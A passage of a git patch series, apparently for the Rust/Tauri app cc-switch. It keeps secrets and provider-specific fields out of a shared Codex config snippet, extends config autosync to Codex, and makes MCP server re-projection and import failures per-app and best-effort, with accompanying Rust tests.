剩余任何 wire_api 都意味着泄漏) + assert!( + !extracted.contains("wire_api"), + "should strip top-level wire_api from the shared snippet, got: {extracted}" + ); + // 注入产物不得进共享片段(bearer token 泄漏为密钥级问题) + assert!( + !extracted.contains("experimental_bearer_token") + && !extracted.contains("sk-live-secret"), + "should strip top-level fallback bearer token, got: {extracted}" + ); + assert!( + !extracted.contains("model_catalog_json"), + "should strip catalog projection pointer, got: {extracted}" + ); + assert!( + !extracted.contains("web_search"), + "should strip the cc-switch web_search disabled sentinel, got: {extracted}" + ); + // 真正可共享的键保留 + assert!( + extracted.contains("disable_response_storage = true"), + "shareable keys must survive extraction, got: {extracted}" + ); + } + + #[test] + fn extract_codex_common_config_keeps_user_set_web_search() { + let config_toml = "web_search = \"enabled\"\ndisable_response_storage = true\n"; + let settings = json!({ "config": config_toml }); + let extracted = ProviderService::extract_codex_common_config(&settings) + .expect("extract should succeed"); + assert!( + extracted.contains("web_search = \"enabled\""), + "a user-set web_search value is a shareable preference, got: {extracted}" ); } @@ -2859,10 +2912,48 @@ impl ProviderService { root.remove("model_provider"); // Legacy/alt formats might use a top-level base_url. root.remove("base_url"); + // wire_api 与 base_url 同属供应商路由语义:无 model_provider 时 + // update_codex_toml_field / 前端 setCodexWireApi 都会把它落在顶层, + // 进了片段会改写其它供应商的协议选择(chat vs responses)。 + root.remove("wire_api"); // Remove entire model_providers table (provider-specific configuration) root.remove("model_providers"); + // MCP 服务器归 DB mcp_servers 表所有:进了共享片段会绕过按应用的 + // 启用状态被合并进所有勾选通用配置的供应商,且在通用配置编辑框里 + // 显示为一份"重复"的 MCP 配置。 + root.remove("mcp_servers"); + // 历史错误格式 [mcp.servers] 一并剥离(与 strip_codex_mcp_servers_from_settings + // 一致):sync_all_enabled 只管理 [mcp_servers.*],legacy 形态一旦进了 + // 片段就会被合并进所有供应商,且没有任何同步路径能清掉这个孤儿。 + if let Some(mcp_tbl) = root + .get_mut("mcp") + .and_then(|item| item.as_table_like_mut()) + { + mcp_tbl.remove("servers"); + if mcp_tbl.is_empty() { + root.remove("mcp"); + } + } + + // cc-switch 写 live 时注入的产物一律不进共享片段: + // - experimental_bearer_token 正常写在 [model_providers.] 内(上面 + // 整表已剥),但无活跃路由 / 内建保留 id / 路由表缺失三种 fallback + // 会落在顶层——不剥等于把 API 密钥写进共享片段。 + root.remove("experimental_bearer_token"); + // - model_catalog_json 指向按供应商生成的 catalog 投影文件(DB 为 SSOT)。 + root.remove("model_catalog_json"); + // - web_search 只剥 cc-switch 注入的 "disabled" 哨兵;用户手设的其它值 + // 属于可共享偏好,保留。 + if root + .get(crate::codex_config::CODEX_WEB_SEARCH_FIELD) + .and_then(|item| item.as_str()) + == Some(crate::codex_config::CODEX_WEB_SEARCH_DISABLED) + { + root.remove(crate::codex_config::CODEX_WEB_SEARCH_FIELD); + } + // Clean up multiple empty lines (keep at most one blank line). let mut cleaned = String::new(); let mut blank_run = 0usize; From 6d2ee2472f9c97c93265718c969a0a2b00e29c7f Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 16:29:37 +0800 Subject: [PATCH 32/73] fix(provider): re-project Codex MCP after unified-session toggle rewrites live config Toggling unify_codex_session_history rewrites the current official provider's live config.toml in full (intended design), which drops the [mcp_servers] projection -- and nothing put it back, so enabled MCP servers silently vanished until the next provider switch (#C2). Re-project after the rewrite, with two deliberate choices: - Project Codex only (new McpService::sync_enabled_for_app) instead of sync_all_enabled: the all-apps sync short-circuits in AppType::all() order, so a corrupt ~/.claude.json would error before Codex is ever reached and the freshly wiped [mcp_servers] would stay missing. Only Codex's live file was rewritten here, so only Codex needs re-projection. - Degrade projection failure to a warning: by this point the live file already carries the new bucket state, so the toggle has taken effect. Propagating the error would make save_settings roll back the setting, creating the exact "setting=old, live=new bucket" session split the rollback exists to prevent. The projection self-heals on the next switch or any MCP toggle. --- src-tauri/src/lib.rs | 1 + src-tauri/src/services/mcp.rs | 37 +++-- src-tauri/src/services/provider/mod.rs | 12 ++ src-tauri/tests/provider_service.rs | 197 +++++++++++++++++++++++++ 4 files changed, 238 insertions(+), 9 deletions(-) diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index 98ff01073..38ac49e5c 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -55,6 +55,7 @@ pub use prompt::Prompt; pub use provider::{Provider, ProviderMeta}; pub use services::{ profile::{ProfilePayload, ProfileScope, ProfileService}, + provider::reapply_current_codex_official_live, skill::{migrate_skills_to_ssot, ImportSkillSelection}, ConfigService, EndpointLatency, McpService, PromptService, ProviderService, ProxyService, SkillService, SpeedtestService, diff --git a/src-tauri/src/services/mcp.rs b/src-tauri/src/services/mcp.rs index ed07c56fe..67bb2b66e 100644 --- a/src-tauri/src/services/mcp.rs +++ b/src-tauri/src/services/mcp.rs @@ -181,16 +181,35 @@ impl McpService { let servers = Self::get_all_servers(state)?; for app in AppType::all() { - if matches!(app, AppType::OpenClaw | AppType::ClaudeDesktop) { - continue; - } + Self::project_servers_to_app(state, &servers, &app)?; + } - for server in servers.values() { - if server.apps.is_enabled_for(&app) { - Self::sync_server_to_app(state, server, &app)?; - } else { - Self::remove_server_from_app(state, &server.id, &app)?; - } + Ok(()) + } + + /// 只把启用状态投影到单个应用。某个应用的 live 被整体重写后用它做 + /// 定向重投影:sync_all_enabled 按 AppType::all() 顺序逐应用短路, + /// 排在前面的无关应用 live 损坏(如 ~/.claude.json 坏 JSON)会阻断 + /// 后面应用的投影。 + pub fn sync_enabled_for_app(state: &AppState, app: &AppType) -> Result<(), AppError> { + let servers = Self::get_all_servers(state)?; + Self::project_servers_to_app(state, &servers, app) + } + + fn project_servers_to_app( + state: &AppState, + servers: &IndexMap, + app: &AppType, + ) -> Result<(), AppError> { + if matches!(app, AppType::OpenClaw | AppType::ClaudeDesktop) { + return Ok(()); + } + + for server in servers.values() { + if server.apps.is_enabled_for(app) { + Self::sync_server_to_app(state, server, app)?; + } else { + Self::remove_server_from_app(state, &server.id, app)?; } } diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 6d3368c1a..c804db291 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -81,6 +81,18 @@ pub fn reapply_current_codex_official_live(state: &AppState) -> Result Date: Wed, 8 Jul 2026 16:29:53 +0800 Subject: [PATCH 33/73] feat(provider): extend switch-time common-config autosync to Codex Claude already re-extracts the live config into the shared common-config snippet right before switching away, so shared tweaks (plugins, preferences) made in live propagate to all opted-in providers. Codex was gated out because its TOML pipeline leaked provider-specific and injected content into the snippet. With the extractor now stripping all injection artifacts and routing fields, and backfill stripping the MCP projection, open the gate to Claude + Codex. The autosync-before-strip ordering also self-heals stale snippet values previously baked into provider snapshots: the re-extracted snippet matches the live values, so the value-match strip removes them on the same switch. End-to-end tests cover: new shared keys captured, deletions synced, secrets/injected artifacts never entering the snippet, and provider A's key not leaking into provider B's live. --- src-tauri/src/services/provider/mod.rs | 13 +- src-tauri/tests/provider_service.rs | 262 +++++++++++++++++++++++++ 2 files changed, 270 insertions(+), 5 deletions(-) diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index c804db291..34ee51ead 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -2656,9 +2656,12 @@ impl ProviderService { /// 读到的 live 一定是"片段 + 本地改动"的超集,重提取只会丢掉用户真正删掉的键, /// 不会误删其它供应商共享的内容。 /// - /// **作用域**:仅 Claude。Codex 的 live 是 TOML 且端点藏在 `[model_providers]` - /// 表里(现有提取器不剥),自动同步会泄漏端点并与 modelCatalog / 统一会话桶 / - /// auth 还原逻辑冲突;Gemini 暂未纳入。两者如需支持应各自单独验证后再加。 + /// **作用域**:Claude + Codex。Codex 提取器(`extract_codex_common_config`) + /// 已剥离全部供应商专属与 cc-switch 注入内容:`model` / `model_provider` / + /// 顶层 `base_url` / 整张 `model_providers` 表(含端点与统一会话桶)、 + /// `mcp_servers`(SSOT 在 DB 表)、顶层 `experimental_bearer_token` + /// fallback、`model_catalog_json`、`web_search = "disabled"` 哨兵——密钥与 + /// 注入产物不会进共享片段。Gemini 暂未纳入,如需支持应单独验证后再加。 /// /// 仅对**显式勾选"写入通用配置"**(`meta.common_config_enabled == Some(true)`)的 /// 供应商生效;用户**显式清空**过片段(`_cleared`)时跳过,避免把用户主动清掉的 @@ -2670,8 +2673,8 @@ impl ProviderService { live_config: &Value, result: &mut SwitchResult, ) { - // 作用域限定 Claude(见函数文档)。 - if !matches!(app_type, AppType::Claude) { + // 作用域限定 Claude + Codex(见函数文档)。 + if !matches!(app_type, AppType::Claude | AppType::Codex) { return; } diff --git a/src-tauri/tests/provider_service.rs b/src-tauri/tests/provider_service.rs index 579a7e0d0..111f49f06 100644 --- a/src-tauri/tests/provider_service.rs +++ b/src-tauri/tests/provider_service.rs @@ -2108,6 +2108,268 @@ fn switch_claude_syncs_deletions_from_live_into_common_config() { ); } +/// Codex 版切换自动回写:live 里新增的共享键被捕获进通用配置片段并传递给 +/// 下一个供应商;供应商专属字段、密钥与 cc-switch 注入产物绝不进片段; +/// 回填后旧供应商的存储配置不残留片段内容(autosync 先于 strip,值必然匹配)。 +#[test] +fn switch_codex_syncs_shared_keys_from_live_into_common_config() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let _home = ensure_test_home(); + + // A 激活状态下的 live:A 专属路由 + 已共享的 [tui] + 用户刚加的 + // disable_response_storage + cc-switch 注入产物 + MCP 同步投影 + // + 顶层 wire_api(无 model_provider 时的 fallback 写法,属 A 的路由语义) + // + 历史错误格式 [mcp.servers](sync_all_enabled 清不掉的孤儿形态) + let live_config = r#"model = "gpt-5.5" +model_provider = "aprov" +wire_api = "chat" +experimental_bearer_token = "sk-a-live-secret" +model_catalog_json = "cc-switch-model-catalog.json" +web_search = "disabled" +disable_response_storage = true + +[tui] +notifications = true + +[model_providers.aprov] +name = "A Prov" +base_url = "https://a.example/v1" +wire_api = "responses" + +[mcp_servers.echo] +type = "stdio" +command = "echo" + +[mcp.servers.ghost-legacy] +command = "ghost-cmd" +"#; + write_codex_live_atomic(&json!({ "OPENAI_API_KEY": "sk-a" }), Some(live_config)) + .expect("seed codex live config"); + + let mut config = MultiAppConfig::default(); + { + let manager = config + .get_manager_mut(&AppType::Codex) + .expect("codex manager"); + manager.current = "a".to_string(); + let mut provider_a = Provider::with_id( + "a".to_string(), + "A".to_string(), + json!({ + "auth": { "OPENAI_API_KEY": "sk-a" }, + "config": "model = \"gpt-5.5\"\nmodel_provider = \"aprov\"\n\n[model_providers.aprov]\nname = \"A Prov\"\nbase_url = \"https://a.example/v1\"\nwire_api = \"responses\"\n" + }), + None, + ); + provider_a.meta = Some(ProviderMeta { + common_config_enabled: Some(true), + ..Default::default() + }); + manager.providers.insert("a".to_string(), provider_a); + let mut provider_b = Provider::with_id( + "b".to_string(), + "B".to_string(), + json!({ + "auth": { "OPENAI_API_KEY": "sk-b" }, + "config": "model = \"gpt-5.5\"\nmodel_provider = \"bprov\"\n\n[model_providers.bprov]\nname = \"B Prov\"\nbase_url = \"https://b.example/v1\"\nwire_api = \"responses\"\n" + }), + None, + ); + provider_b.meta = Some(ProviderMeta { + common_config_enabled: Some(true), + ..Default::default() + }); + manager.providers.insert("b".to_string(), provider_b); + } + + let state = create_test_state_with_config(&config).expect("create test state"); + state + .db + .set_config_snippet( + AppType::Codex.as_str(), + Some("[tui]\nnotifications = true\n".to_string()), + ) + .expect("seed codex common config snippet"); + + ProviderService::switch(&state, AppType::Codex, "b").expect("switch should succeed"); + + // 片段:捕获新增共享键、保留既有共享键;专属字段/密钥/注入产物一律不进 + let snippet = state + .db + .get_config_snippet(AppType::Codex.as_str()) + .expect("read snippet") + .expect("snippet present"); + assert!( + snippet.contains("disable_response_storage = true"), + "newly added shared key should be captured, got: {snippet}" + ); + assert!( + snippet.contains("notifications = true"), + "previously shared key should be preserved, got: {snippet}" + ); + for forbidden in [ + "experimental_bearer_token", + "sk-a-live-secret", + "model_catalog_json", + "web_search", + "mcp_servers", + "model_providers", + "model_provider", + "wire_api", + "ghost-legacy", + ] { + assert!( + !snippet.contains(forbidden), + "'{forbidden}' must never enter the shared snippet, got: {snippet}" + ); + } + + // B 的 live:共享键传递到位,A 的密钥/投影不得跟过来 + let live_after = std::fs::read_to_string(cc_switch_lib::get_codex_config_path()) + .expect("read config.toml after switch"); + assert!( + live_after.contains("disable_response_storage = true"), + "shared key should propagate to the next provider's live, got: {live_after}" + ); + assert!( + live_after.contains("model_provider = \"bprov\""), + "live should be provider B's own config, got: {live_after}" + ); + assert!( + !live_after.contains("sk-a-live-secret"), + "provider A's bearer token must not leak into B's live, got: {live_after}" + ); + assert!( + !live_after.contains("mcp_servers"), + "no DB-enabled MCP servers, so live must not resurrect stale entries, got: {live_after}" + ); + assert!( + !live_after.contains("ghost-legacy"), + "the legacy [mcp.servers] orphan must not propagate to B's live, got: {live_after}" + ); + assert!( + !live_after.contains("wire_api = \"chat\""), + "provider A's top-level wire_api must not rewrite B's protocol, got: {live_after}" + ); + + // A 的存储配置:回填后不残留片段内容 / MCP 投影 / 注入产物 + let providers = state + .db + .get_all_providers(AppType::Codex.as_str()) + .expect("read providers after switch"); + let stored_a = providers.get("a").expect("provider a exists"); + let stored_a_config = stored_a + .settings_config + .get("config") + .and_then(|v| v.as_str()) + .unwrap_or_default(); + assert!( + stored_a_config.contains("model_provider = \"aprov\""), + "provider-owned routing must survive backfill, got: {stored_a_config}" + ); + // 顶层 wire_api 是 A 自己的路由语义:不进片段,但回填时留在 A 的快照里 + assert!( + stored_a_config.contains("wire_api = \"chat\""), + "provider-owned top-level wire_api must survive backfill, got: {stored_a_config}" + ); + for forbidden in [ + "disable_response_storage", + "notifications", + "mcp_servers", + "experimental_bearer_token", + "ghost-legacy", + ] { + assert!( + !stored_a_config.contains(forbidden), + "'{forbidden}' must be stripped from the stored provider config on backfill, got: {stored_a_config}" + ); + } +} + +/// Codex 版删除同步:用户在 live 里删掉一个已共享的键后,切换应把删除 +/// 同步进通用配置,且不会在切到下一个供应商时被重新注入(否则"删不掉")。 +#[test] +fn switch_codex_syncs_deletions_from_live_into_common_config() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let _home = ensure_test_home(); + + // 片段里有两个共享键,但用户已在 live 里删掉 disable_response_storage + let live_config = r#"model_provider = "aprov" + +[tui] +notifications = true + +[model_providers.aprov] +name = "A Prov" +base_url = "https://a.example/v1" +wire_api = "responses" +"#; + write_codex_live_atomic(&json!({ "OPENAI_API_KEY": "sk-a" }), Some(live_config)) + .expect("seed codex live config"); + + let mut config = MultiAppConfig::default(); + { + let manager = config + .get_manager_mut(&AppType::Codex) + .expect("codex manager"); + manager.current = "a".to_string(); + for (id, name, prov_key) in [("a", "A", "aprov"), ("b", "B", "bprov")] { + let mut provider = Provider::with_id( + id.to_string(), + name.to_string(), + json!({ + "auth": { "OPENAI_API_KEY": format!("sk-{id}") }, + "config": format!("model_provider = \"{prov_key}\"\n\n[model_providers.{prov_key}]\nname = \"{name} Prov\"\nbase_url = \"https://{id}.example/v1\"\nwire_api = \"responses\"\n") + }), + None, + ); + provider.meta = Some(ProviderMeta { + common_config_enabled: Some(true), + ..Default::default() + }); + manager.providers.insert(id.to_string(), provider); + } + } + + let state = create_test_state_with_config(&config).expect("create test state"); + state + .db + .set_config_snippet( + AppType::Codex.as_str(), + Some("disable_response_storage = true\n\n[tui]\nnotifications = true\n".to_string()), + ) + .expect("seed codex common config snippet"); + + ProviderService::switch(&state, AppType::Codex, "b").expect("switch should succeed"); + + let snippet = state + .db + .get_config_snippet(AppType::Codex.as_str()) + .expect("read snippet") + .expect("snippet present"); + assert!( + !snippet.contains("disable_response_storage"), + "deleted shared key must be removed from the snippet, got: {snippet}" + ); + assert!( + snippet.contains("notifications = true"), + "kept shared key should remain in the snippet, got: {snippet}" + ); + + let live_after = std::fs::read_to_string(cc_switch_lib::get_codex_config_path()) + .expect("read config.toml after switch"); + assert!( + !live_after.contains("disable_response_storage"), + "deleted shared key must not be re-injected into the next provider, got: {live_after}" + ); + assert!( + live_after.contains("notifications = true"), + "kept shared key should propagate to the next provider, got: {live_after}" + ); +} + /// 未勾选"写入通用配置"的供应商,其 live 改动不应自动污染通用配置片段。 #[test] fn switch_claude_does_not_sync_common_config_for_opted_out_provider() { From 11c173c73020ab82b6af764d19bce76d27d6725f Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 22:21:18 +0800 Subject: [PATCH 34/73] fix(mcp): stop cross-app failures from blocking MCP re-projection sync_all_enabled iterated AppType::all() with `?`, so one app's corrupt live file (e.g. a broken ~/.claude.json, which passes the existence gate but fails to parse) blocked every app behind it in the iteration order -- and bubbled the error into whatever operation triggered the sync: - switch/save had just rewritten only the target app's live file, yet a broken unrelated file failed the whole operation after DB and live were already updated, reporting a false "switch failed" to the user. Both now project only the target app (sync_enabled_for_app) and degrade projection failure to a warning: the primary operation has already taken effect, and the projection self-heals on the next switch or MCP toggle. - sync_current_provider_for_app_to_live syncs a single app; it now projects that app only, keeping failures (which can only concern the target app) as errors. - sync_current_to_live (config import / cloud-sync restore) keeps the all-apps sweep, but sync_all_enabled is now best-effort: it projects every app, collects failures, and reports them aggregated. Its error is held until after skill sync so an MCP failure no longer skips it. --- src-tauri/src/services/mcp.rs | 27 ++++- src-tauri/src/services/provider/live.rs | 13 ++- src-tauri/src/services/provider/mod.rs | 24 +++- src-tauri/tests/provider_service.rs | 143 +++++++++++++++++++++++- 4 files changed, 192 insertions(+), 15 deletions(-) diff --git a/src-tauri/src/services/mcp.rs b/src-tauri/src/services/mcp.rs index 67bb2b66e..e9af2a83c 100644 --- a/src-tauri/src/services/mcp.rs +++ b/src-tauri/src/services/mcp.rs @@ -176,21 +176,36 @@ impl McpService { Ok(()) } - /// 手动同步所有启用的 MCP 服务器到对应的应用 + /// 手动同步所有启用的 MCP 服务器到对应的应用。 + /// + /// Best-effort:单个应用投影失败(如 ~/.claude.json 坏 JSON)不阻断 + /// 其余应用——各应用的 live 文件互相独立,一处损坏没有理由让其他 + /// 应用的 MCP 状态陈旧。全部跑完后若有失败,聚合成一个错误上报, + /// 保留调用方的可见性。 pub fn sync_all_enabled(state: &AppState) -> Result<(), AppError> { let servers = Self::get_all_servers(state)?; + let mut failures: Vec = Vec::new(); for app in AppType::all() { - Self::project_servers_to_app(state, &servers, &app)?; + if let Err(err) = Self::project_servers_to_app(state, &servers, &app) { + log::warn!("同步 MCP 到 {app:?} 失败: {err}"); + failures.push(format!("{}: {err}", app.as_str())); + } } - Ok(()) + if failures.is_empty() { + Ok(()) + } else { + Err(AppError::Message(format!( + "部分应用 MCP 同步失败: {}", + failures.join("; ") + ))) + } } /// 只把启用状态投影到单个应用。某个应用的 live 被整体重写后用它做 - /// 定向重投影:sync_all_enabled 按 AppType::all() 顺序逐应用短路, - /// 排在前面的无关应用 live 损坏(如 ~/.claude.json 坏 JSON)会阻断 - /// 后面应用的投影。 + /// 定向重投影,避免把无关应用的失败面(如 ~/.claude.json 坏 JSON) + /// 牵连进目标应用的关键路径。 pub fn sync_enabled_for_app(state: &AppState, app: &AppType) -> Result<(), AppError> { let servers = Self::get_all_servers(state)?; Self::project_servers_to_app(state, &servers, app) diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index 4fe2c8cf4..b16024c5e 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -948,7 +948,10 @@ pub(crate) fn sync_current_provider_for_app_to_live( } } - McpService::sync_all_enabled(state)?; + // 本函数语义是"把这个应用同步到 live",MCP 重投影也只针对该应用; + // 全量 sync_all_enabled 会把无关应用的 live 损坏牵连进来。投影失败 + // 上抛(不降级):这里没有已变更的 DB 状态需要保护,调用方重试即可。 + McpService::sync_enabled_for_app(state, app_type)?; Ok(()) } @@ -1016,8 +1019,10 @@ pub fn sync_current_to_live(state: &AppState) -> Result<(), AppError> { } } - // MCP sync - McpService::sync_all_enabled(state)?; + // MCP sync(best-effort 逐应用投影,内部已聚合失败)。错误暂存到 + // Skill 同步之后再返回:MCP 的失败不该跳过 Skill 同步,但调用方 + //(配置导入 / 云同步恢复)需要知道结果不完整。 + let mcp_result = McpService::sync_all_enabled(state); // Skill sync for app_type in AppType::all() { @@ -1027,7 +1032,7 @@ pub fn sync_current_to_live(state: &AppState) -> Result<(), AppError> { } } - Ok(()) + mcp_result } /// Read current live settings for an app type diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 34ee51ead..8a0370a22 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -2134,8 +2134,16 @@ impl ProviderService { } } else { write_live_with_common_config(state.db.as_ref(), &app_type, &provider)?; - // Sync MCP - McpService::sync_all_enabled(state)?; + // 重写 live 后只重投影本应用的 MCP:全量 sync_all_enabled 会把 + // 无关应用的 live 损坏(如 ~/.claude.json 坏 JSON)牵连进保存 + // 流程。走到这里 DB 与 live 都已按新配置落盘,保存事实上已 + // 成功;投影失败降级为警告,避免制造"保存失败"假象(MCP + // 投影可自愈:下次切换 / 任一 MCP 启停都会重新投影)。 + if let Err(err) = McpService::sync_enabled_for_app(state, &app_type) { + log::warn!( + "保存供应商后重投影 {app_type:?} MCP 失败(将在下次同步时自愈): {err}" + ); + } } } @@ -2509,8 +2517,16 @@ impl ProviderService { } } - // Sync MCP - McpService::sync_all_enabled(state)?; + // 切换重写了目标应用的 live,只重投影该应用的 MCP(Codex 的 + // [mcp_servers] 与 live 同文件,整体替换后必须补回;其余应用的 + // MCP 文件独立于 live,投影是幂等维护)。不用全量 sync_all_enabled: + // 无关应用的 live 损坏(如 ~/.claude.json 坏 JSON)不该阻断切换。 + // 走到这里 DB is_current 与 live 都已落盘,切换事实上已成功; + // 投影失败上抛会让前端报"切换失败"制造分裂假象,故降级为警告 + // (MCP 投影可自愈:下次切换 / 任一 MCP 启停都会重新投影)。 + if let Err(err) = McpService::sync_enabled_for_app(state, &app_type) { + log::warn!("切换供应商后重投影 {app_type:?} MCP 失败(将在下次同步时自愈): {err}"); + } Ok(result) } diff --git a/src-tauri/tests/provider_service.rs b/src-tauri/tests/provider_service.rs index 111f49f06..dde2fe469 100644 --- a/src-tauri/tests/provider_service.rs +++ b/src-tauri/tests/provider_service.rs @@ -1044,7 +1044,8 @@ fn reapply_codex_official_live_projects_mcp_despite_broken_claude_json() { let state = create_test_state_with_config(&initial_config).expect("create test state"); - // 切换路径仍走 sync_all_enabled(会碰 claude),所以先切换、后破坏。 + // 先切换建立"当前=官方"的前置状态,再破坏 claude 文件, + // 让损坏只作用于被测的 reapply 路径。 ProviderService::switch(&state, AppType::Codex, "official-provider") .expect("switch to official provider"); @@ -1078,6 +1079,146 @@ fn reapply_codex_official_live_projects_mcp_despite_broken_claude_json() { ); } +/// 切换供应商与 reapply 是同一类场景:live 整体重写后只需重投影本应用 +/// 的 MCP。历史实现走全量 sync_all_enabled + `?`,损坏的 ~/.claude.json +/// 会让"切 Codex"直接报切换失败——而此时 DB is_current 与 live 都已 +/// 落盘,切换事实上成功,报错只制造分裂假象。 +#[test] +fn switch_codex_projects_mcp_despite_broken_claude_json() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let _home = ensure_test_home(); + + write_codex_live_atomic(&json!({ "OPENAI_API_KEY": "sk-old" }), Some("")) + .expect("seed codex live"); + + let mut config = MultiAppConfig::default(); + { + let manager = config + .get_manager_mut(&AppType::Codex) + .expect("codex manager"); + manager.providers.insert( + "p".to_string(), + Provider::with_id( + "p".to_string(), + "P".to_string(), + json!({ + "auth": { "OPENAI_API_KEY": "sk-p" }, + "config": "model = \"gpt-5.5\"\n" + }), + None, + ), + ); + } + let servers = config.mcp.servers.get_or_insert_with(Default::default); + servers.insert( + "echo-server".into(), + McpServer { + id: "echo-server".into(), + name: "Echo Server".into(), + server: json!({ + "type": "stdio", + "command": "echo" + }), + apps: McpApps { + claude: false, + codex: true, + gemini: false, + opencode: false, + hermes: false, + }, + description: None, + homepage: None, + docs: None, + tags: Vec::new(), + }, + ); + + let state = create_test_state_with_config(&config).expect("create test state"); + + // 坏 JSON 能通过 should_sync_claude_mcp 门控(文件存在即过), + // 但 read_mcp_servers_map 解析必然报错;codex-only 服务器也会 + // 触发 claude 的 remove 分支去读这个文件。 + let claude_json = cc_switch_lib::get_claude_mcp_path(); + std::fs::write(&claude_json, "{ not valid json").expect("seed broken claude json"); + + ProviderService::switch(&state, AppType::Codex, "p") + .expect("broken ~/.claude.json must not fail an unrelated codex switch"); + + let live = std::fs::read_to_string(cc_switch_lib::get_codex_config_path()) + .expect("read config.toml after switch"); + assert!( + live.contains("mcp_servers.echo-server"), + "switch must re-project codex MCP after the full live rewrite, got: {live}" + ); + + let claude_after = std::fs::read_to_string(&claude_json).expect("read claude json"); + assert_eq!( + claude_after, "{ not valid json", + "codex-only projection must not touch claude's live file" + ); +} + +/// sync_all_enabled 的全量语义(配置导入 / 云同步恢复):单个应用的 +/// live 损坏不阻断其余应用的投影,但失败必须聚合上报——调用方需要 +/// 知道结果不完整。历史实现按 AppType::all() 顺序 `?` 短路,Claude +/// 排在 Codex 前面,一份坏 ~/.claude.json 会让所有后续应用的 MCP +/// 状态永远陈旧。 +#[test] +fn sync_all_enabled_reports_broken_app_but_projects_the_rest() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let _home = ensure_test_home(); + + write_codex_live_atomic(&json!({ "OPENAI_API_KEY": "sk" }), Some("")).expect("seed codex live"); + + let mut config = MultiAppConfig::default(); + let servers = config.mcp.servers.get_or_insert_with(Default::default); + servers.insert( + "echo-server".into(), + McpServer { + id: "echo-server".into(), + name: "Echo Server".into(), + server: json!({ + "type": "stdio", + "command": "echo" + }), + apps: McpApps { + claude: false, + codex: true, + gemini: false, + opencode: false, + hermes: false, + }, + description: None, + homepage: None, + docs: None, + tags: Vec::new(), + }, + ); + + let state = create_test_state_with_config(&config).expect("create test state"); + + let claude_json = cc_switch_lib::get_claude_mcp_path(); + std::fs::write(&claude_json, "{ not valid json").expect("seed broken claude json"); + + let err = cc_switch_lib::McpService::sync_all_enabled(&state) + .expect_err("broken claude live must surface as an aggregated error"); + let message = err.to_string(); + assert!( + message.contains("claude"), + "aggregated error should name the failing app, got: {message}" + ); + + // Claude 的失败不能阻断 Codex:best-effort 必须继续投影其余应用。 + let live = std::fs::read_to_string(cc_switch_lib::get_codex_config_path()) + .expect("read config.toml after sync_all_enabled"); + assert!( + live.contains("mcp_servers.echo-server"), + "codex projection must proceed despite the broken claude file, got: {live}" + ); +} + #[test] fn provider_service_switch_codex_official_accounts_write_auth_json() { let _guard = test_mutex().lock().expect("acquire test mutex"); From 94fc1cc0649929739e127fd25e55954108383b1b Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 22:21:37 +0800 Subject: [PATCH 35/73] fix(mcp): surface per-app failures when importing MCP servers from apps import_mcp_from_apps swallowed every importer error with unwrap_or(0), so a corrupt config.toml surfaced as "imported 0 servers" with no hint that anything went wrong. Move the aggregation into McpService::import_from_all_apps: each app imports best-effort (one bad file doesn't block the rest), and failures are collected into a single error naming the failing apps alongside the count that did import. The frontend now refreshes the server list on settle rather than success, since a partial failure still means new servers were persisted. --- src-tauri/src/commands/mcp.rs | 8 +----- src-tauri/src/services/mcp.rs | 37 ++++++++++++++++++++++++ src-tauri/tests/mcp_commands.rs | 50 +++++++++++++++++++++++++++++++++ src/hooks/useMcp.ts | 4 ++- 4 files changed, 91 insertions(+), 8 deletions(-) diff --git a/src-tauri/src/commands/mcp.rs b/src-tauri/src/commands/mcp.rs index 5d2558e91..f2af78585 100644 --- a/src-tauri/src/commands/mcp.rs +++ b/src-tauri/src/commands/mcp.rs @@ -197,11 +197,5 @@ pub async fn toggle_mcp_app( /// 从所有应用导入 MCP 服务器(复用已有的导入逻辑) #[tauri::command] pub async fn import_mcp_from_apps(state: State<'_, AppState>) -> Result { - let mut total = 0; - total += McpService::import_from_claude(&state).unwrap_or(0); - total += McpService::import_from_codex(&state).unwrap_or(0); - total += McpService::import_from_gemini(&state).unwrap_or(0); - total += McpService::import_from_opencode(&state).unwrap_or(0); - total += McpService::import_from_hermes(&state).unwrap_or(0); - Ok(total) + McpService::import_from_all_apps(&state).map_err(|e| e.to_string()) } diff --git a/src-tauri/src/services/mcp.rs b/src-tauri/src/services/mcp.rs index e9af2a83c..db330e5f8 100644 --- a/src-tauri/src/services/mcp.rs +++ b/src-tauri/src/services/mcp.rs @@ -468,4 +468,41 @@ impl McpService { Ok(new_count) } + + /// 从所有支持 MCP 的应用导入服务器,返回新导入的数量。 + /// + /// Best-effort:单个应用导入失败(如坏 config.toml)不阻断其余应用; + /// 全部跑完后若有失败,聚合成一个错误上报——历史实现逐应用 + /// `unwrap_or(0)` 吞错,坏文件只会表现为"导入成功 0 个",用户 + /// 无从得知哪个应用出了问题。 + pub fn import_from_all_apps(state: &AppState) -> Result { + let mut total = 0; + let mut failures: Vec = Vec::new(); + + let results: [(&str, Result); 5] = [ + ("claude", Self::import_from_claude(state)), + ("codex", Self::import_from_codex(state)), + ("gemini", Self::import_from_gemini(state)), + ("opencode", Self::import_from_opencode(state)), + ("hermes", Self::import_from_hermes(state)), + ]; + for (app, result) in results { + match result { + Ok(count) => total += count, + Err(err) => { + log::warn!("从 {app} 导入 MCP 失败: {err}"); + failures.push(format!("{app}: {err}")); + } + } + } + + if failures.is_empty() { 